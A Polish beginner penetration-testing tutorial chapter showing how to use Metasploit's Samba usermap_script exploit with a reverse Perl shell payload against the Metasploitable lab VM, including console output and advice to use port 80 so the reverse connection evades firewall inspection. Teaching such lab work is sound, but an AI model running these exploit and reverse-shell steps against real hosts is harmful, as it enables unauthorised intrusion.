<- Poprzedni rodział -- Następny Kurs ->

Rozdział 20: Exploit i Payloader czyli metasploit „całą gębą”

W tym materiale zajmiemy się bardziej rozbudowanymi sposobami dostępu do urządzenia niż robiliśmy to w poprzednim rozdziale. Tak naprawdę temat rozpocząłem w rozdziale 18 gdzie wykorzystaliśmy exploita do uruchomionej usługi programu. Teraz zajmiemy się bardziej szczegółowo tym zagadnieniem jak i również dowiemy się czym jest payload.

20.1. Czym różni się exploit od payloada

Dowiedzieliśmy się z rozdziału 18, że exploity wykorzystują luki w systemie, aby dostać się do urządzenia. Natomiast payloader jest to kod, który infekuje dany system po dostaniu się do środka przy pomocy luki systemowej czyli explolita. To dzięki payloaderowi jesteśmy w stanie zrobić coś więcej niż tylko połączyć się z urządzeniem.

20.2. Uzyskujemy dostęp dzięki Sambie

Samba jest to darmowy program dzięki któremu możemy udostępniać pliki oraz drukarki. Wymienione oprogramowanie jest dość często wykorzystywanym narzędziem, ponieważ daje możliwość współdzielenia wymienionych zasobów pomiędzy różnymi platformami, systemami. W naszym systemie Metasploitable razem ze startem systemu usługa programu jest uruchamiana automatycznie. W związku z tym pokażę wam w jaki sposób wykorzystać exploita oraz payloada, aby otrzymać całkowity dostęp do systemu.

20.3. Wyszukiwanie odpowiedniego exploita

Możemy skorzystać z internetu i wyszukać w wyszukiwarce gotowego rozwiązania. Jednak wolę pokazać wam rozwiązanie na pierwszy rzut oka trudniejsze, ale bardzo często przydatne. Rozmawialiśmy o tym w poprzednim rozdziale w ostatnim jego paragrafie. Dlatego w uruchomionym programie Metasploit wpiszmy polecenie wyszukiwania w następujący sposób:

search type:exploit samba

Jako wynik otrzymamy listę składającą się z osiemnastu pozycji:

0 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution 1 exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow 2 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution 3 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource 4 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution 5 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection 6 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution 7 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow 8 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow 9 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86) 10 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load 11 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow 12 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow 13 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow 14 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86) 15 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86) 16 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC) 17 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC) 18 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Search Results Buffer Overflow

W jednym z wcześniejszych wyszukiwań przeprowadzonym przy okazji ataku słownikowego odnalazło nam jeszcze większą ilość wyników. Jednak te osiemnaście exploitów robi również wrażenie.

Wspominałem już, że osobiście na samym początku odrzucam wszystkie pozycje które nie dotyczą systemu do którego chcemy się dostać oraz wszystkie które nie mają w swojej nazwie, nazwy usługi z której chcemy skorzystać. W ten sposób nasza lista skróci się i pozostanie tylko kilka pozycji:

6 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution 7 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow 8 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow 9 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86) 10 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load 11 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow good Yes Samba lsa_io_trans_names Heap Overflow 15 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)

Jak widzisz z osiemnastu exploitów pozostało nam siedem. Wiemy przecież, dzięki skanowaniu nmap, że system z jakiego korzysta urządzenie to na pewno Linux. Dlatego nie byłoby sensu stosować sposobów dostępnych na inne systemy.

Chciałbym wspomnieć o jeszcze jednej ważnej rzeczy. Otóż mamy dwa rodzaje exploitów. Jedne są z kategorii multi drugie z kategorii Linux. Myślę, że ze zrozumieniem nazewnictwa tych drugich nie będziesz miał żadnych problemów, natomiast multi oznacza wieloplatformowość czyli exploit, może zostać wykorzystany niezależnie od tego na jakim działa urządzeniu.

20.4. Użycie oraz konfiguracja exploita oraz payloada

Zajmijmy się teraz pierwszym exploitem z listy czyli:

exploit/multi/samba/usermap_script

Wiemy już jaki chcemy wykorzystać dlatego, pozostało wybrać go jako aktywnego do ustawienia. Robiliśmy to już wcześniej, ale tym razem pozwolę sobie na powtórzenie:

>
use exploit/multi/samba/usermap_script

Wystarczy użyć angielskiego słowa use i mamy wszystko dostępne do konfiguracji. Natomiast chciałbym, abyś zwrócił szczególną uwagę na to co zostało napisane po wykonaniu polecenia:

[*] No payload configured, defaulting to cmd/unix/reverse_netcat

Dla osób które nie znają angielskiego:

Żaden payload nie został skonfigurowany, domyślny cmd/unix/reverse_netcat

Oznacza to, że nie wybrałeś, żadnego payloada i został ustawiony domyślny. Zobaczmy teraz jak wyglądają dostępne opcje które możemy pozmieniać:

msf6 exploit(multi/samba/usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 139 yes The target port (TCP) Payload options (cmd/unix/reverse_netcat): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.2.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic

RHOSTS i RPORT oraz LHOST i LPORT już znasz. Jak wiesz w RHOSTS ustawiasz adres IP twojego celu natomiast w LHOST swój adres, który służyć będzie do nasłuchiwania. Tutaj jak zapewne zauważyłeś został on automatycznie przypisany bo 10.0.2.15 jest to adres IP mojego systemu Kali Linux. W przypadku RPORT ustawiasz port z jakiego korzysta usługa programu natomiast LPORT z jakim portem payload ma się z Tobą połączyć.

Teraz bardzo ważna uwaga, która dotyczy LPORTA. W tym wypadku standardowo ustawiony jest port 4444. Nie jest to nic błędnego payload nawiąże połączenie z Tobą, ale w razie problemów możesz skorzystać z portu 80, którego wykorzystują przeglądarki do komunikacji przy pomocy HTTP.

O tym już wiesz, ale możesz się zastanawiać po co o tym piszę?

Otóż port 80 nie jest w żaden sposób szyfrowany stąd też bardzo często jest omijany przy sprawdzaniu pod względem połączenia. Przecież z niego korzystają przeglądarki. Dlatego dobrym pomysłem jest dokonać zmiany domyślnego portu na 80.

Czasami jednak może się zdarzyć, że port 80 będzie już wykorzystywany do czegoś innego i nie jesteś w stanie go użyć. Nigdy o tym nie pisałem ale port 80 nie jest jedynym który może służyć do protokołu HTTP. Dodatkowo można korzystać z portu 8080 oraz kilku innych. O czym w jednym z rozdziałów już wspominałem. Dlatego jeżeli okaże się, że nie możesz skorzystać z portu 80 zamień go na 8080, działanie będzie takie samo.

20.4.1. Konfiguracja exploita

Dobrze, ale zajmijmy się wszystkim tak jak powinno to być. Ustawmy adres ip naszego celu. Robimy to przy pomocy poznanego polecenia:

set RHOSTS 10.0.2.5

Następnie sprawdźmy czy został ustawiony odpowiedni RPORT. Musi być identyczny jak ten który wskazał nam nmap:

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Mamy 139 i 445. Czyli skorzystać możemy albo z jednego albo z drugiego. Standardowo ustawiony jest 139. My natomiast pobawmy się trochę i zmieńmy ten port na 445:

set RPORT 445

Dobrze czyli tę część już mamy skonfigurowaną. Nadeszła pora na dalsze zagadnienia.

Teraz zobaczmy co możemy zrobić z payloadem.

20.4.2. Konfigurujemy payloada

Rozmawialiśmy, że program wybrał domyślny payload z którego możesz skorzystać. On działa, możesz mi wierzyć na słowo lub sprawdzić na własną rękę wpisując exploit. Jednak na tym etapie bardziej zależy mi abyś zapoznał się z możliwością wyboru odpowiedniego do danej sytuacji. Wpisz w konsoli programu Metasploit następującą komendę:

show payloads

Ukaże Ci się dość spora lista możliwości. Na chwilę zerknijmy dokładniej na nią ponieważ w tym co Ci się wyświetliło jest bardzo ważna informacja. Nie będę wklejał tutaj tych czterdziestu pozycji tylko pozwolę sobie wkleić dwie nie różniące się znacznie od siebie:

payload/cmd/unix/bind_perl payload/cmd/unix/reverse_perl

Payloady wyglądają prawie identycznie. Różnica występuje na samym końcu, a dokładniej w jednym mamy bind, a w drugim reverse. Jest to istotne ponieważ pierwsze czyli tzw. bindy działają w taki sposób, że to my łączymy się z komputerem naszego celu, natomiast reverse działają odwrotnie. Wspominałem o tym już w tym rozdziale. W tym wypadku to cel łączy się z naszym komputerem, a my mu tylko to umożliwiamy.

Co w tym dziwnego?

Otóż w przypadku sposobu bind prawdopodobieństwo, że się uda jest znikome. Obecnie każdy firewall zablokuje próbę takiego połączenia lub wyda stosowną informację. Natomiast w przypadku reverse, szanse są bardzo duże. W związku z tym polecam zawsze korzystać z payloadów typu reverse. Masz wtedy większą pewność, że zadziałają. Dopowiem jeszcze tylko, że w przypadku Metasploitable zadziałają oba exploity. Natomiast w prawdziwym środowisku bardzo rzadko korzysta się z bind.

Wiemy już co z czym się je dlatego teraz użyjmy naszego payloada:

set PAYLOAD payload/cmd/unix/reverse_perl

Zwróć szczególną uwagę na słowo PAYLOAD po słowie set. Jeżeli użyjesz samego set będziesz miał dostęp jedynie do konfiguracji samego payloada natomiast, exploit zostanie usunięty z użycia oraz konfiguracji.

Wpisz ponownie:

show options Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.0.2.15 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port

Wszystko się zgadza, ale jak wspomniałem wcześniej dobrą praktyką byłoby zmienić LPORT na 80, dlatego teraz to zrobimy:

set LPORT 80

Powinniśmy mieć już wszystko właściwie skonfigurowane, dlatego sprawdź sobie jeszcze raz czy tak jest i wpisz exploit lub run.

Po udanym połączeniu pozostaje użyć uname -a i sprawdzić czy jest to ta maszyna do której chciałeś się dostać.

20.5. Dlaczego nie każdy exploit działa?

Opisałem już dość szczegółowo exploity oraz przeszliśmy do payloadów. Myślę, że masz już dość sporą wiedzę i resztę nabierzesz w praktyce. Natomiast w przypadku jak będziesz dużo próbował na własną rękę może okazać się, że nic nie działa, a podobno gdzieś wyczytałeś, że luka występuje. W tym wypadku pozwolę sobie powrócić do informacji jaką otrzymaliśmy ostatnio używając nmapa:

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Widziałeś już to, ale czy zwróciłeś uwagę na wersję samby wykorzystanej w systemie?

Użyjmy innego exploita:

use exploit/multi/samba/nttrans

Nie będę wklejał zawartości po wpisaniu polecenia show options dlatego ustaw RHOSTS i wpisz exploit. Powinieneś otrzymać informację:

[*] Started reverse TCP handler on 10.0.2.15:4444 [-] 10.0.2.5:139 - Exploit failed [timeout-expired]: Timeout::Error execution expired [*] Exploit completed, but no session was created.

Dlaczego tak się stało?

Otóż wpisz ponownie show options i zwróć uwagę na sam dół informacji która Ci wyskoczyła:

Exploit target: Id Name -- ---- 0 Samba 2.2.x Linux x86

Jak już wiesz nadal to nie dotyczy naszej wersji, ale wpiszmy RHOSTS i odpalmy exploita. Otrzymać powinieneś informację:

[*] Started reverse TCP handler on 10.0.2.15:4444 [*] 10.0.2.5:139 - Trying return address 0xbffffdfc... [-] 10.0.2.5:139 - Exploit aborted due to failure: no-target: This target is not a vulnerable Samba server (Samba 3.0.20-Debian) [*] Exploit completed, but no session was created.

Oczywiście nawiązanie połączenia zakończyło się niepowodzeniem, ale czy zauważyłeś coś?

Pomimo braku nawiązania połączenia otrzymaliśmy bardzo istotną informację. Samba jest w wersji 3.0.20-Debian. Dlatego możemy teraz skorzystać z przeglądarki i poszukać jakiś informacji na ten temat. Świadczy to o tym, że pomimo exploit nie dotyczył danej wersji to jednak udało się dzięki niemu uzyskać jakąś wartościową informację.

Podsumowanie

Dziękuję wszystkim czytającym którzy dotarli do tego rozdziału. Jest on już ostatnim tej serii. Zakańcza pewien dział w hackingu sieci dlatego chciałbym się w tym miejscu zatrzymać. Wszystko to co tutaj poznałeś jest czymś co można nazwać wprowadzeniem do nauki o testach penetracyjnych, hackingu czy też cyberbezpieczeństwa. Ten kurs został napisany dla osób którzy nigdy nie mieli styczności z tą dziedziną. Nie wiem czy mi się udało, chociaż mam nadzieję, że tak.

Jeżeli chodzi o program Metasploit nie są to wyczerpujące informacje, ale obiecuję będą one uaktualnione.

Oczywiście nie jest to koniec. Obecnie rozpoczynam pracę nad nowym kursem który będzie dotyczył Backdoorów oraz Trojanów. Poznamy w nim bardzo fascynujące możliwości jakie stwarzają oraz zobaczysz jak bardzo niebezpieczne potrafi być bezmyślne klikanie w linki.

Aby zbytnio nie przedłużać wdzięczny byłbym za wasze uwagi co do kursu, ale jako całości. To, że napisałem, o jego zakończeniu wcale nie oznacza, że go nie będę aktualizował. Dlatego jeżeli macie jakieś uwagi bądź propozycje wypełnijcie formularz kontaktowy znajdujący się tutaj. Z góry dziękuję i zapraszam ponownie.

<- Poprzedni rodział -- Następny Kurs ->

Strona stosuje pliki cookies w celu profilowania, oraz analizuje statystykę ruchu. Prosimy o zapoznanie się z naszą polityką prywatności i wyrażenie zgody na podejmowane działania. W przypadku braku zgody i pozostaniu na niej strona może nie działać właściwie.

Akceptuję warunki zawarte w Polityce Prywatności

Nie akceptuję warunków i chcę opuścić stronę